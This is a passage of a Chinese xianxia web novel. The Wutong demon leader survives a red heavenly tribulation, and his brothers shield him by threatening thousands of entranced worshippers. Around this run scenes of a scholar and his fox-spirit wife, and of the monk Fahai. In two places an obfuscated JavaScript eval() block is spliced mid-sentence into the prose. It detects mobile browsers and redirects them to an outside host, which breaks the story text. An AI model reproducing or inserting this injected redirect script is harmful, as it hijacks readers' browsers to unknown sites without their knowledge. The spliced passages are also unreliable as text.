“既要买菜,又要烹饪,对于普通人来说耗时太多,不如将这些时间节省下来,去做其他能挣钱的事情,”陈子均解释,“有人做吃的卖给别人挣钱,有人就能省下自己做饭的时间挣钱,双方都有好处。” “原来是这样。”胡翘翘恍然。 陈子均见她碗中的羊肉吃完了,将自己的夹给她,温声道,“娘子也不妨入乡随俗,一日三餐都让人家做,或是让小青去买来,这样既可以品尝长陵城的美食,省下的时间还能更好的修炼。” 胡翘翘犹豫起来,对她来说,能亲手做饭给相公吃,是一件开心又幸福的事儿,相公现在让她不做了,心中反而有些不乐。 转瞬,她又想,相公的话倒也没说错。 她的厨艺本就一般,委屈相公吃了三年,现在来了长陵城,处处是美食,总不能还让相公天天吃她做的饭菜。 更重要的是,她喜欢的只是能为相公做事的感觉,也不一定非得替相公做饭。 多用时间修炼,才能更快变强,这样一来,万一相公遇到比上次那个女阴魂更危险的妖鬼,她也能保护好相公。 正如相公以前所说的,做人时常要学会取舍,对现在的她来说,提升实力才是第一位的,做饭的重要性就低了许多,不应把太多时间浪费在上面。 相公的话很合理。 想到这儿,胡翘翘不再迟疑,柔声道,“嗯,那翘翘就听相公的。” 早饭后,小青带上陈子均开列的清单,去西市订购干柴和喂牛的草料,顺便再买一些日常必须品。 胡翘翘和陈子均则是开始整理书房。 原主虽是开珠宝铺子的,但许是附庸风雅,在卧室旁还设计了个书房,面积不算大,挨着墙壁放有一个五层的书柜,里面甚至还摆了一些书,翻开一看,也都是全新的。 胡翘翘将陈子均的书从储物袋中取出,陈子均再一一在书柜中摆放整齐。 除了书柜之外,还有一张长桌,和一张椅子正对着窗,书桌上摆放有笔架、笔洗、笔筒、笔墨纸砚等文房用品,也都是全新的,甚至还有一个玉质不错的玉镇纸,光这个镇纸,估计也值十几两银子。 胡翘翘见桌上摆了个空花瓶,便到园中摘了一束花,回来插在瓶中,整个书房便散发着花香,让人闻了心情愉悦。 陈子均趁她忙着插花时,在园子中找了块合适的地方,放下了息壤,再折去牛棚,去喂了老牛一些灵液,拍拍它的脊背,“这几个月好好休息,考完后再用你。” 老牛甩着尾巴哞了一声,又舔了舔他的手。 长陵城的生活,便这样悄无声息地拉开帷幕。 白昼逝去,暗夜降临。 距离长陵城近千里之遥的临江城,郊外。 此刻,若有人仰头,便会见到夜空中,大片黑云不断从四面八方涌动,似乎被什么东西所吸引着滚滚而来,最终汇聚在了一起,形成像是覆盖了整片天空的厚重黑色云海,这云海中,散发出恐怖的气息。 蓦地!赤红色的电流冒出,仿若无数条红色电蛇,在黑海中窜涌咆哮! 同一时刻,在大夏国的许多位置,无论远近,许多张面孔齐齐一震,许多双眼睛齐齐抬起,目光尽皆投向这黑云所在的方向! “竟是赤色雷劫!” “好恐怖、好浓厚的邪气!” “会是哪个罪恶滔天的家伙?” 另一遥远处,天空月明星稀,光华璀璨,那星河像是永恒一样,洒落的星光笼罩着下方的一道人影。 这人影修长,身披着深蓝色法袍,袍上有漫天星斗,散发着玄奥之光,正自动流动运转。 他忽然感觉到了什么,指尖在空中轻轻一掠,空气便如水波般地晃动,凝出一面明镜。 镜中出现一个白须白发的老者,道骨仙风,一双老眼蕴含着深邃的神光,气息平和浩大,深不见底,如平静的大海,却蕴含着极为巨大的力量。 “见过天机道友。”老者单手施礼,对方虽然外表如青年,却与他一样,已是修行了数百年,进入神通境的大修士,更是天星宗的现任天机星主,地位相近,是以平辈论礼。 “林宗主,久违了。”天机星主还礼,抬起头后,微微一笑,“突然来讯,有什么紧要之事么?” “道友应也感觉到了临江城那边的赤色雷劫吧?” “嗯。” “我青山宗不擅推演之术,兼之对方实力不弱,一时推算不出究竟是何方妖邪在渡劫,天机道友可有什么线索?” “稍等。” 天机星主闭上眼,陡然睁开之时,瞳眸中,如有漫天星力流转,但很快停止下来。 “以我之力,也难轻易感应。” “连天机道友也算不出?”老者一愣,“还有这种事?” 天星宗的天机星主,其天赋神通中有一个“神机妙算”,配合其法器天机盘,号称可算尽“五行之内、轮回之中,神明之下“的一切。 “也并非没有可能,对方或许不在五行内,跳 出轮回中。”天机星主淡淡道,“譬如,五通妖之首的那只。” “看样子,八成真是五通邪妖……”老者皱起白眉,“这几个家伙祸乱世间已久,我和五行宗的余宗主早就想解决掉他们,可惜他们的本体藏匿太过隐秘,又信徒众多,所以一直拿他们没有太好的办法。天机道友,你觉得,今夜它能否成功度过这赤色雷劫?” “我不知,”天机星主摇了摇头,又微微一笑,“不过,林道友也无需太过担忧。邪之所以为邪,即得道不正,得道不正,即为逆天而行,行逆天之事者,即便真正的邪神,又有几个有好下场?” “天机道友言之有理,如此,便不打扰了。”老者略一思忖,道,“我再联系几位宗主,派些人过去看看,即便对方成功渡过雷劫,实力也必然大减,没准能趁此机会,将五通邪妖铲除。” 临江城郊。 雷云越来越浓,其间的赤红电流也开始逐渐凝聚,显然,第一道劫雷即将降下。 与此同时,自不同方向,迅速无比地飞来了数十道身影,或先或后,最终都落在距离劫云中心数百米远的某个位置上。 这数十道身影穿着样式不同的法袍,显然来自数个不同的宗门,其中最弱的也是金身境的修士,大部分都是魂宫境的修士,平日中一个法术,便可翻江倒海,亦是各宗派去各地坐镇一方的存在,可此刻,却齐齐来到了此处。 “听说渡劫的是五通妖之首!” “原来是它,那只猴妖!!” “难怪会出现红色雷劫,这五个邪妖,不知道身上背负了多少无辜性命!” 修士们的眼中显出森森杀意。 五通邪神利用愚民的贪婪之心,进行淫祀,发展信徒,获取大量的信仰之力,害人无数。 早已是臭名昭著,被正道修士们深恶痛绝。 但邪神一系,都是以化身在外行走, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14892975|159967||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本体隐藏在无人知晓之处,想将它们彻底铲除,可谓难于登天。 今日这雷劫,才向他们揭示出了五通妖的本体所在处—— 便是临江城郊的某座山峰之内! 不过,众人在来到此地后,并未立刻妄动,而是商议好了对策。 红色雷劫的威力太强,他们贸然行动,反可能受到波及而受伤。 先任凭对方去对抗这红色雷劫。 若过不去,自然灰飞烟灭,省了他们的功夫。 即便对方成功度过雷劫,实力也会暂时被削弱大半,到那时,众人再合力,将五通邪妖诛杀! 一名修士拿出一个阵盘,道,“我先在此地布下隔绝法术波动和声音的阵法,免得惊扰到临江城的民众!” 另几名五行宗的土系修士,则是联手布下了一个能暂时性的干扰各种传送法器的阵法,杜绝了五通妖的本体们借助传送法器逃走的可能性。 就在这时,劫云中,突然出现了一道红色的雷霆,轰隆隆的巨响传遍八方时,这雷霆,朝着下方的山峰轰然落下! 峰顶上,一个面容阴鸷的黄袍男子正盘膝而坐。 见赤色雷光落下,他双眼幽光一闪,右手蓦然抬起,手中出现一面散发光芒的铜钟,这是他当初自某处秘境得来的一件高阶法宝,又精心祭练了数百年,防御之力极其惊人,即便是神通境的修士的攻击,它也能防御得住。 铜钟飞起来,快速变大,与劫雷碰撞! 铛! 赤红的电光在铜钟表面流转,铜钟脆响不断,钟身上出现了数道深深裂痕。 最终,第一道劫雷消散。 黄袍男子还没来得及心疼,第二道劫雷又接踵而至! 这一道,比第一道更强! 铛! 咔嚓! 第二道劫雷之下,铜钟发出悲鸣之声,陡然变成无数碎片。 劫雷之力却还剩余了不少,朝着黑衣人猛地劈下。 黄袍男子手一抖,又出现一面法宝盾牌,品质不下铜钟,抵挡住了剩余的劫雷之力,但盾牌也随之裂成两半。 第三道红色劫雷,立马俯冲而下,天地为之震动。 黄袍男子面色一冷,袍袖快速抖动,漫天飞起十余件不同的防御类法宝,都是难得一见的宝物,一件接一件,冲向劫雷。 第三道劫雷一路摧枯拉朽,直接将这十余件法宝尽数轰成了碎渣,方才销声匿迹。 黄袍男子心疼不已,就在这时,他面色大变。 原来第四道劫雷已经开始落下。 他这上千年里收集的高阶防御类法器早已消耗一空,还有一些品阶不高的,此刻也无济于事。 此刻他站起身,仰天发出了一声咆哮,随着咆哮,整座山峰轰然一震,峰顶上,显出了一条高达数十米的身影,这身影,乃是一只金色猿猴,张牙舞爪,毛发根根竖立如针,身后黑光冲天,隐隐浮现出一道更为巨大的猿猴虚影,生有六耳,目绽黑光,恐怖之极,好似妖神下凡。 看到这一幕,修士们的瞳孔纷纷紧缩。 “果然是五通妖中的那只猴妖!” “看它的气息,似乎是在突破神通境?!” “怎可能,它才活了不到千年!” “别忘了,它是邪神!” 邪神系的妖怪与普通妖怪不同,他们的实力不由妖力决定,而是依赖于体内的信仰之力。信仰之力越多,实力便越强。 普通的千年妖怪,顶多凝聚出妖珠,来到流光境。再过数百年后,命魂彻底凝固,强化到可以抵挡一定的攻击,便突破金身境。以此类推,平均两千年妖龄的妖怪能升到魂宫境,再等它们领悟出专属神通,才有希望成为神通境大妖。 但五通妖因为信徒众多,积攒的信仰之力的数量也极其惊人,实力远超普通妖怪,虽才千年妖龄,此刻,为首的那个竟已在突破神通境! 众人的震惊目光之中,只见猴妖张开嘴,口中吐出一根漆黑的长棍法宝,顿时风起云涌,黑气盘旋翻卷,猴妖手握长棍,怒吼一声,猛冲上天空,长棍化为一条张牙舞爪的黑龙,直接迎上劫雷。 碰! 黑龙与劫雷相碰,隐有不支,猴妖咆哮着,信仰之力疯狂输入,黑龙顿时壮大几分,与劫雷疯狂撕咬对抗。 终于,黑龙与劫雷两两抵消,双双消失于无形。 几乎下一瞬,第五道、第六道劫雷便一起扑了下来! 猴妖深吸口气,目现凶光,手握铁棍,再次与劫雷发生剧烈碰撞。 砰砰砰! 两道劫雷消散,与此同时,近六百年的信仰之力也消耗一光。 第七道劫雷来临之时,它已没有多少信仰之力可以抵抗,轰的一声,那赤红色的雷光,先是劈掉了它手中的黑棍,紧接着,直接劈在了它庞大的身躯上! 猴妖仰起头,大口之中,发出了一声含着剧痛之意的疯狂嘶吼,天地震鸣,紧接着,它的腹部竟然出现了一道延伸十余米长的巨大伤口,与此同时,体内的骨骼传来清脆的断裂之声,瞬间碎裂大半,从伤口内喷出无数鲜血,整个峰顶似乎直接被鲜血染成了红色! 它单膝跪地,全身颤抖,气息大幅衰落下去,更似乎随时可能倒地不起。 修士们远远目睹着这一幕,都深吸口气,然后目露喜色! “它已经身受重伤,但还剩两道劫雷!” “还是最强的第八道和第九道,看样子,它必过不去雷劫!” “也好,省得我们动手。” 就在这时,天空之上,劫云疯狂翻滚。 轰隆隆的巨响传遍八方。 两道红色劫雷凝为一体,化作了一把赤色雷刃,威力惊人到了极致,巨响轰隆,天地惊鸣! 第八道、第九道劫雷,合二为一的赤色雷刃,对着那猴妖,向下猛地一斩! 在这一刹那,甚至给人一种,它似能将整片天地都劈开的感觉! “双雷合一!” “它死定了!” 修士们震惊和狂喜。 猴妖被劈成飞灰的景象,似乎已经在他们的眼前上演。 第105章 谁敢动手 下一瞬,惊变骤起! 只见猴妖双手撑着地面,张开獠牙森森的大嘴,忽然吐出数十面巨大黑幡,紧接着,这些黑幡刹那间,爆发出了强烈的难以形容的黑光,冲天而起,直奔天空,如形成了数十道巨大的黑柱。 修士们定睛看去,每一道黑柱都是由无数弥漫黑气的阴魂组成,在那里,挣扎扭转,发出一声声凄厉无比的痛苦嘶吼。 这数十道黑柱光芒突然相连,组成一个巨大阵法,这些阴魂的力量全被阵法抽出,凝聚起来,对抗斩落的雷刃! 在他的上方,雷刃落下,使得阵法颤抖,阴魂们纷纷被抽干,变成虚无,但却将劫雷之刃硬生生地挡住! 这一幕发生的太过突然,使得不远处的众修士们纷纷骇然,不知发生了何事。 “怎么回事,发生了什么事情!!” “这是怎么了!” 青山宗的修士们平素与阴魂打交道最多,此刻猛地醒悟过来! “它搜集了众多阴魂,用这些阴魂来对抗雷劫!” “这一击之下,这些阴魂都会魂飞魄散!” 魂飞魄散,就等于它们永远丧失了轮回转世的机会! 有人道,“但看这些阴魂的数量,应该也不足以抵挡这双雷合一之力!” “别忘记,今夜是七月初六!”青山宗的一名修士咬牙切齿,“鬼门开启下,阴魂的力量被大幅增强,原本不能,现在就勉强能抵挡!说不定,它还是刻意选择这段时间来度过雷劫!” 众人尽皆恍然。 “该死!果然奸诈!” “如今最后两道雷劫已落,它必然是最为衰弱之时,我们上!” “趁它病,要它命!” 修士们正要冲出,忽然几个声音,悠悠出现在了他们的耳边。 “趁人之危,这就是所谓的正道修士吗?” “这些正道修士,整天满嘴正义,冠冕堂皇,大道理说得震天响,依我看,实际比我们也强不到哪儿去嘛!” “各位不要急,还有我们呢。” 几道男子的身影浮现而出。 高矮、胖瘦、美丑不尽而同,却都是邪气四溢。 一个身材矮胖、满脸疙瘩的男子鼓着小眼睛,嘿嘿笑道,“二哥,我猜他们的算数定然极差!” 高瘦男子挑眉,“四弟何出此言?” 另一个做文士打扮、勉强称得上英俊两字的男子冷笑接口,“否则,他们怎么会不知道,我们五通神有兄弟五人,减去一个在渡劫,可还剩下四个!” 此话一落,四妖都张开嘴,发出得意之极的大笑。 “我看你们的算数才是极差,”一名五行宗剑修踏上一步,冷笑着拔出长剑,顿时,长剑发出一声急于斩妖的清鸣,目中杀机凛然,自齿间漏出寒森森的话语,“你们不过四个,我们这边数十人,你们还敢现身阻拦,看样子,是怕死得不够快,对么?” 对方四妖,最强也不过魂宫境,最弱的那个只有金身境,和修士们的实力差距太大。 而猴妖虽然渡劫成功,但此刻必定元气大伤,造不成任何威胁。 修士们正觉胜券在握,忽然有些意外。 四妖两两对视,脸上却未流露出半点紧张或是惊惧、怯懦之色。 最右边的那妖怪,也是实力最弱的一个瘸腿男子再次昂首大笑了起来,“哈哈哈哈哈哈哈哈!” “死到临头,还笑什么?!”一名修士冷冷道。 “我笑你们正道修士的脑袋似乎只是装饰,完全派不上用场,还比不上我们。”瘸腿男子嘲弄的目光掠过众人,“还是说,你们真当我们是未开灵智的牲畜?我们既然知道你们人多势众,还敢现身,难道会不准备任何后手吗?” 修士们一愣。 突然大地颤抖,天空咆哮,仿佛天地要旋转,紧接着,无数身影在四妖的身后涌现出来。 这些身影,竟然都是凡人,更有数万之多! 他们全都跪在地上,对着面前的四妖磕头,目光如痴如迷,不停念诵。 “五通圣神,怜悯世人,救苦救难、普度众生……” 修士们尽皆神色大变。 “什么?!” “这些凡人是……” 四妖们笑得笃定,邪恶之意于虚空中漫延。 “自然是我们的信徒!” “你们不是一个个都以守护天下苍生为己任吗?现在你们要守护的苍生,就在我们身后!“ “若敢轻举妄动,我们就算死,也会拉着这些凡人同我们一起陪葬!” “如何,还敢动手吗?” 一名女修大怒,猛地飞上天空,声音滚滚传出,要振聋发聩。 “醒来!我乃明心宗的仙师!你们不要再相信五通妖……醒来,醒来!” 但无论她如何呐喊,下方的凡人却连看也不看一眼,只是对着五通神痴迷膜拜。 “五通圣神,怜悯世人,救苦救难、普度众生……” 修士们心中一沉。 “你们……为何如此愚蠢!”女修气急,娇躯颤抖不已,“难道你们不知道,他们都是邪神,是妖怪,没听到他们在以你们性命来威胁我们吗?!” 一修士喃喃道,“这些人,不是聋,不是聩,是痴,是傻,是一具具已被贪欲所控制的行尸走肉!” “没错,这些蠢货和行尸走肉相比,区别也不过多了一口气!即便如此,你们这些正道中人,能狠心动手吗?”矮胖男子笑道。 “他们若真动了手,恐怕马上便会信念崩塌,道心破碎。”瘸腿男子一脸得意。 “呵呵,他们常说要斩妖诛邪,守护世人,”那文士的手中握着一把扇子,笑吟吟地扇动,“如今见到我们这些妖邪,被他们要守护的世人给保护、崇拜、盲信着,不知心中滋味如何?应该颇为复杂吧?” “你们若觉得牺牲这几万人,换我们五兄弟也不算亏的话,不妨再告知你们一件事,”高瘦男子再次冷笑,“除了这数万信徒,这临江城周边千里之内,我们还聚集了近百万信徒,只要我们一道神念降临,他们就会立即动手,先杀死自己的家人,再杀死他们自己!” 说罢,四妖一起哈哈大笑:“话就撂在此处,看看今夜你们谁敢动手,谁能动手!” 所有修士的脸色都沉到了极限,目中怒火燃烧,隐隐如火山要爆发般。 但是,却没有人发作。 甚至谁都没有说一句话。 四妖笑得愈发张狂,那矮胖子甚至走上前,与刚才说话的那五行宗的剑修面对面,伸出几乎和下巴肩膀连为一体的脖子,用手比划着。 “之前你不是很嚣张吗,说怕我们死得不够快,现在我的脑袋送给你砍,来,动手吧!” 这名五行宗剑修一语不发,握住剑柄的手背上,青筋已经根根暴起,身边空气发出刺啦的轻响。 咔嚓! 他脚下的地面,猛然延伸出了一道裂缝,如被利剑斩出。 那是他内心的剑意、杀意,已然酝酿到了极致,却又被强行压制,无法得到释放,只能以这些形式,被动地散发出来。 但,这剑修依旧没有任何举动。 只是抬起眼,眸光如利剑般射向矮胖男子,冷冷地道,“放心,总有一天,它会从你的脖子上掉下来!” “哈哈哈哈哈,若你是修炼咒术的修士,这话我还会有几分害怕……至于你么,区区一个人类剑修,恐怕数百年后,你的骨头都烂了,我还活得好好的!” 矮胖男子发出得意之极的大笑。 “好了,老四,少说几句,逼得他们狗急跳墙便不好了。”那高瘦男子笑道,“我们去恭贺大哥成功渡劫,再同他一起回府!” “好!” 四妖转过身,将背影暴露在修士们的目光中,大刺刺地朝着山峰方向飞去。 修士们气得浑身发抖,方才那剑修仰头向天,发出了一声愤怒之极的长啸,手中长剑一挥,随着剑气,整个天空轰然一震,天幕之上竟然也出现了一道豁口,一息后才缓缓合拢。 终有一日,他定要将这五个妖怪斩于剑下! “我们走!” 眼见今夜无法奈何五通妖,修士们只能含怒离去,等返回宗门,再商议下一步。 峰顶。 “恭喜大哥,渡劫成功!”四妖齐声,“突破神通境!” 猴妖残破的身躯一晃,重新变成之前的黄衣男子,消瘦的脸庞上露出一丝微笑:“多亏了五位弟妹……” 蓦地一顿,有些困惑,“六妹呢?她怎么没来?” 余下四妖的脸色,蓦地都是一变! “六妹她……” 黄衣男子察觉不对,皱眉问道:“怎么回事?” “大哥,六妹她……” 四妖将五通娘子身陨道消,却不知死于何人之手的事情说了一遍。 黄衣男子听闻此话,脑海顿时轰鸣如雷霆炸开,眼中血丝弥漫,看起来无比狰狞,“该死,杀六妹的混蛋,我必让他死无葬身之地!” 他怒火燃烧,心中不断浮现这千余年来,兄妹情深的一幕幕。 “杀害六妹的人应是用了某种干扰推算的法术,”高瘦男子也咬牙切齿,“我的推算之术不如大哥,无论如何都算不出他的身份,还请大哥出手!” 黄衣男子抬手,快速推算一番,面色亦是一变。 “怎会如此?!” “大哥,怎么了?!”四妖问。 “我竟然也算不出!” 对方的信息宛如被一层迷雾笼罩,模糊不清。 “除去天星宗的那些家伙,居然还有人能避过我的推演之术?”黄衣男子皱起眉,喃喃道,“难道说,此人的实力还远超于我?” “这不可能!”四妖立即否定。 大陆广阔,人口无数,但神通境修士却极为稀少,连妖怪、轮回界的一些强大阴魂都算上,总数也还不到三百。 其中任何一个拿出来,都是赫赫有名、可单独开宗立派的大佬级别。 黄衣男子今日渡劫成功,同样步入神通境,这世上能与他的实力相近者,已不超过三百之数。 实力还远胜于他,那岂不是意味着,对方是传说中的悟道境强者?! 据说,神通境修士来到神通境大圆满之后,除非极端惊才绝艳之辈,才有一丝参悟出独属自己的大道、从而触摸到悟道境 的门槛的希望,余下之人,只能终身止步于神通境。 而在神魔大战之后,因为某种原因,从神通境到悟道境的难度又被大大提升。 如今的悟道境,几乎变成了一个只存在于故纸传说中的境界,至少在这千年中,他们从未听到有人达到! “倒是还有一种可能,”黄衣男子眯起眼,吐出一句话,“他同我一样,跳出五行之外,不在轮回之中!” 四妖齐齐一愣,“大哥这话……” “今日我觉醒了血脉神通,才知道,原来我的血脉源于上古妖族六耳猕猴。六耳猕猴一族不入轮回,不在五行,所以任何推算之法,对我也没法生效!而六耳猕猴一族还善聆听,能察理,知前后,万物皆明,如果还有我推算不出的东西,那也只有同样不在轮回之中,跳出五行之外的某些上古血脉了……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14892976|159967||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 矮胖子涨红了脸,抢道:“大哥你也没办法?那我们还怎么替六妹报仇!” 黄衣男子脸色一变,一巴掌甩了过去。 矮胖子被直接打飞,呱地叫了一声,落在地上,变成一只巨大的癞蛤蟆。 “老四,你别老是这么急!”英俊文士呵斥道,“先等大哥说完!” 黄衣男子看着癞蛤蟆,冷冷地道:“你以为我不想替六妹报仇吗?!我们兄妹千年,感情何等深厚,我对那个凶手的恨意,也绝不会输给你!” 癞蛤蟆又变回矮胖子,抬起双手,来回扇着自己丑陋的胖脸:“大哥,你别生气,是我错了,你也知道我的脾气一向急躁……” “算了,你也是为六妹报仇心切。”黄衣男子叹了口气,道,“不过,要找出对方的身份,不是没有别的办法。” 四妖齐齐追问,“什么办法?” 黄衣男子缓缓道,“我突破神通境后,就领悟到了六耳猕猴一族的天赋神通,可借那神通,感悟到某件事的因果。” 矮胖子大喜:“那还等什么,大哥快动手!” 黄衣男子摇了摇头,“施展这门神通,需要消耗不少信仰之力。我才刚度过雷劫,剩下的信仰之力已经不多,先修养数月,才能试着施展。不急一时,让那家伙再多活几个月……” …… 数里之外,仍旧是郊野。 一棵树旁站着个年轻僧人,一身葛布僧袍,袈裟在风中轻舞,一手握着红漆禅杖,一手托着银色盂钵,容颜和目光都十分冷硬坚毅。遥遥地望着远处发生的一切。 “我还是第一次见到红色的劫雷呢,好吓人……”他身边的一个红衣小女孩坐在树枝上,小小的肩膀微缩,一脸心有余悸,她甚至感觉自己连第一下都撑不过去。 法海看了一眼她似是受到惊吓的表情,宽慰道,“玉施主不用害怕,只有业力最为深重的妖邪才会招来红色雷劫,你离红色雷劫还差的远。” 玉珠儿回过神来,眨着灵动大眼,“和尚,我有个问题不太明白,你能回答吗?” “玉施主请问,贫僧尽力而为。” “为什么越坏的妖怪,就会遇到越厉害的雷劫?” 法海略一思索,回答,“因为神明有眼,善恶有报。” “和尚的意思是,这世上真有神明?” “这是自然。” “我一直以为,神明只是传说。”玉珠儿狐疑地看着他,“难道说,和尚亲眼见过?” 否则,语气怎会如此笃信? 法海笑笑,“只要心中有佛,又何须亲眼见?” “……” 旁边的树枝上挂着一个蜂窝。 有数十只蜜蜂正在同几只马蜂进行战争,马蜂虽然数量少,体积却更大,也更凶悍,因此被数量远胜十倍的蜜蜂包围着也不落下风。 “我还是不懂……既然神明有眼,善恶有报,为何要用雷劫这么麻烦的方式?还会给它机会成功渡劫?”玉珠儿突然张开嘴,射出蛛丝,将一只马蜂拉进嘴里,嚼了几下,含糊地道,“对神明来说,再厉害的坏妖怪应该也没什么大不了的吧,就像我看这只马蜂一样,连手都不用动,就能杀掉了……” 法海笑了,看着她的神情欣慰又欣赏,“能想到这一层,玉施主果然有慧根,与我佛有缘。” 玉珠儿:”……“ 她才不觉得自己和光头们有什么缘,只是这几日她替和尚找阴魂,和尚为她买人间的美食。 交易罢了! 更不会傻兮兮地上和尚的当,学他一样整日吃素,然后念什么阿弥陀佛。 一想到没肉吃的未来,玉珠儿就禁不住感觉人生黯淡无光。 绝不可能,哼! 法海望着那蜂窝,轻声说道:“神明看五通邪妖,自然与我们看这些小虫子也差不多,构不成丝毫威胁,一举手、一跺脚,甚至一弹指,就能杀死他们……” 顿了顿,他继续道,“但天道有定,阴极而阳生,阳极而阴生,生中有死,死中有生……亦就是说,无论在什么样的绝境中,都要依循天理,留下一线生机,所以,天道才以雷劫代替了神罚。” 作恶越多,遇到的雷劫便越强! 但在雷劫中,又必然会留有一线生机! 即便是对最为恶贯满盈、罪恶滔天的妖邪,也 同样如此。 过得去,则生! 过不去,则死! “哦……”玉珠儿的疑惑得到解答,点了点小脑袋,又好奇地问,“和尚挺厉害的,打得过五通妖吗?” 法海思考片刻,先点头,又摇头。 “胜过五通妖,不难。但若想要彻底解决他们……” 邪神一系已经极其难缠,五通妖五妖同心,为首的那只猴妖又突破到了神通境,难缠的程度,更上一层楼。 即便如此,若是正面对上,保守估计,他亦有六七成的胜算。 只是,五通妖最大的倚仗和底牌,是众多的信徒。 方才他们就是以信徒的性命生死为质,逼得正道的修士们放弃了对他们的围杀。 守护人间,对正道修士们来说,是信念,也成了枷锁。 这是一步杀招。 有恃无恐的杀招。 就连他,也一时想不出完美的破解之法。 玉珠儿眨眨大眼,听懂了和尚的言外之意。 看样子,五通妖还真的挺难对付。 不知道若是换成大坏蛋在这里,他能不能对付得了五通妖? 嗯……大坏蛋那么卑鄙无耻、残毒歹恶,说不定没有问题呢。 第106章 谁爱谁多 又是几天过去。 这几天中,陈子均大多数时间都在家中“温书”,准备乡试。 胡翘翘每天和小青一起处理完家务、整理好花园,多余的时间便用来专心修炼。 如今她已经开始服用第六滴灵液,等这滴吸收完毕,就可以不用再稀释灵液,而是一次性炼化一滴了。 再往后,等实力增长,说不定每次炼化两滴、三滴也是可能的。 间中,两人也会抽出时间,逛逛长陵城,见到什么好吃的好玩的,陈子均都会给胡翘翘买下。 小狐妖既心疼相公的银钱,又舍不得拒绝相公的心意,总是一脸纠结。 这个白天,小青见胡翘翘已经有了近五十年的妖力,便教给了她御气飞行之术。 无论是妖怪,还是修士,常见的飞行方式,无非三种。一种是利用自身的力量,一种借助飞行类的法宝,最后是驾驭可以飞行的妖宠等等,而这几种方式都各有利弊。 用自己的法力来飞行,优点是更灵活随心,速度则是根据自身实力而定,但对法力的损耗比较大。 用法宝的话,飞行速度是由法宝的品阶决定,消耗中等,品阶越高,飞行速度越快。 飞行类的妖宠对法力的消耗是最少的,却最为麻烦。因为妖宠需要捕捉、驯化、饲养……而且,除了某些专攻驯兽类的宗门之外,多数修士和妖宠都难以做到心神相通,又不能收入储物袋,一般修士很少会选择,只有某些性子高调、喜爱张扬的修士,出行时才会选择妖宠。 胡翘翘储物袋中的那件法衣,除了有防御的功能之外,也带有飞行的阵法,但她现在修为不足,还穿不上,再加上多掌握一门术法也不错,于是她便很认真地同小青学会了御气飞行。 但房间狭窄,飞行术施展不开,难以练习,园子倒是大了,附近人来人往,她又怕被人看到。 于是乎,等吃过晚饭,戌时过半,天色彻底黯淡下来,胡翘翘便拉着陈子均一道出了门,寻找了个僻静之处,练习飞行。 小狐狸对术法一途似乎很有天赋。 没多久,她就能在空中飞了起来,她的妖气不足,又是刚学不久,所以一开始飞得不算快,也不稳,各种歪歪斜斜,还有几次险些撞到树木,看得陈子均捏了把冷汗。 随着时间推移,胡翘翘对飞行术的掌握逐渐熟练,飞得平稳起来,反应也变得及时,再没有出现过险况,偶尔还会俏皮地回头看陈子均一眼,眼波流转间,满是狡黠和得意。 只是在急拐弯和加速这两个小技巧上,她还不太熟练,以后再多加练习应该会改善。 等体内的妖力告罄,时间也到了亥时。 胡翘翘从半空翩翩落,小脸上还带着一抹兴奋的红晕,眼巴巴地望着陈子均,像只邀功的小猫似的,“相公,我飞得怎么样?” 陈子均点了点头,笑着擦去她额上的汗珠,“以第一次来说,非常好,娘子真是太厉害了。” 得到他的夸奖,胡翘翘开心得眼睛都眯成了一条缝,抱着他的胳膊撒娇:“那我们明晚再出来,继续练习,好不好?” “当然好。” “嘻嘻,我们回去吧。” 胡翘翘开心地挽住他的胳膊,往回走去。 这时已经夜深,四周变得比白昼寂静许多,任何发出声音都变得清晰起来,走了一段路后,小狐狸耳朵动动,忽然捕捉到了一阵哭声,正是从不远的某户人家传来。 “这大半夜的,他们为什么哭呀?”胡翘翘好奇地抬眸望去,那户人家门口两边还各挑着一个白灯笼,在夜风中轻轻摇晃,灯笼上还各贴着一个黑色的“奠”字, 陈子均轻声道,“应该是他们家中刚有人去世不久。” 胡翘翘从未见过这幅景象,不由得停下脚步,多看了几眼。 正在这时,四周蓦地一寒。 四周弥漫起了一层带着阴冷之气的浓雾,有些瘆人。 而这浓雾的源头,来自街道的尽头。 小狐狸顿时有些紧张,又有些好奇,一双大眼朝那边望去。 浓雾中,渐渐行出了两道略带虚幻的身影。 一个穿黑,一个着白,长袍及地,面孔都是模糊不清,双足吊起,足尖悬于离地面半尺之处,像是没有半分重量的浮絮一般,在夜风中飘飘摇摇,浑身阴气弥漫,显然都是阴魂之属。 胡翘翘也明白了对方的身份。 她曾看过一本故事书,在插图中,有一张画的便是从轮回界而来,负责勾索亡者命魂的魂差。 而图中魂差的模样,就和此时飘过来的两个家伙,别无二致! 真没想到,今晚她竟然见到了魂差…… 他们的目的,应该并非她和相公,而是有人去世的那户人家…… 尽管如此判断,小狐狸依旧十分紧张,紧紧拉住陈子均的手,将他护在身后。 因为她感觉到,这两名魂差体内的阴气浓厚之极,显然实力十分强大,似乎一口气就能将她这个不过五六十年妖力的小狐妖给吹死,若想要伤害相公,就更轻而易举。 两名魂差逐渐飘近。 一开始,他们没将胡翘翘和陈子均放在心上,近了些 后,其中穿黑袍的那个视线随意掠过胡翘翘,忽然微微一怔。 因为晚上人少,胡翘翘出门时没佩戴面纱。 黑袍魂差心中微露诧异,好美貌的小娘子! 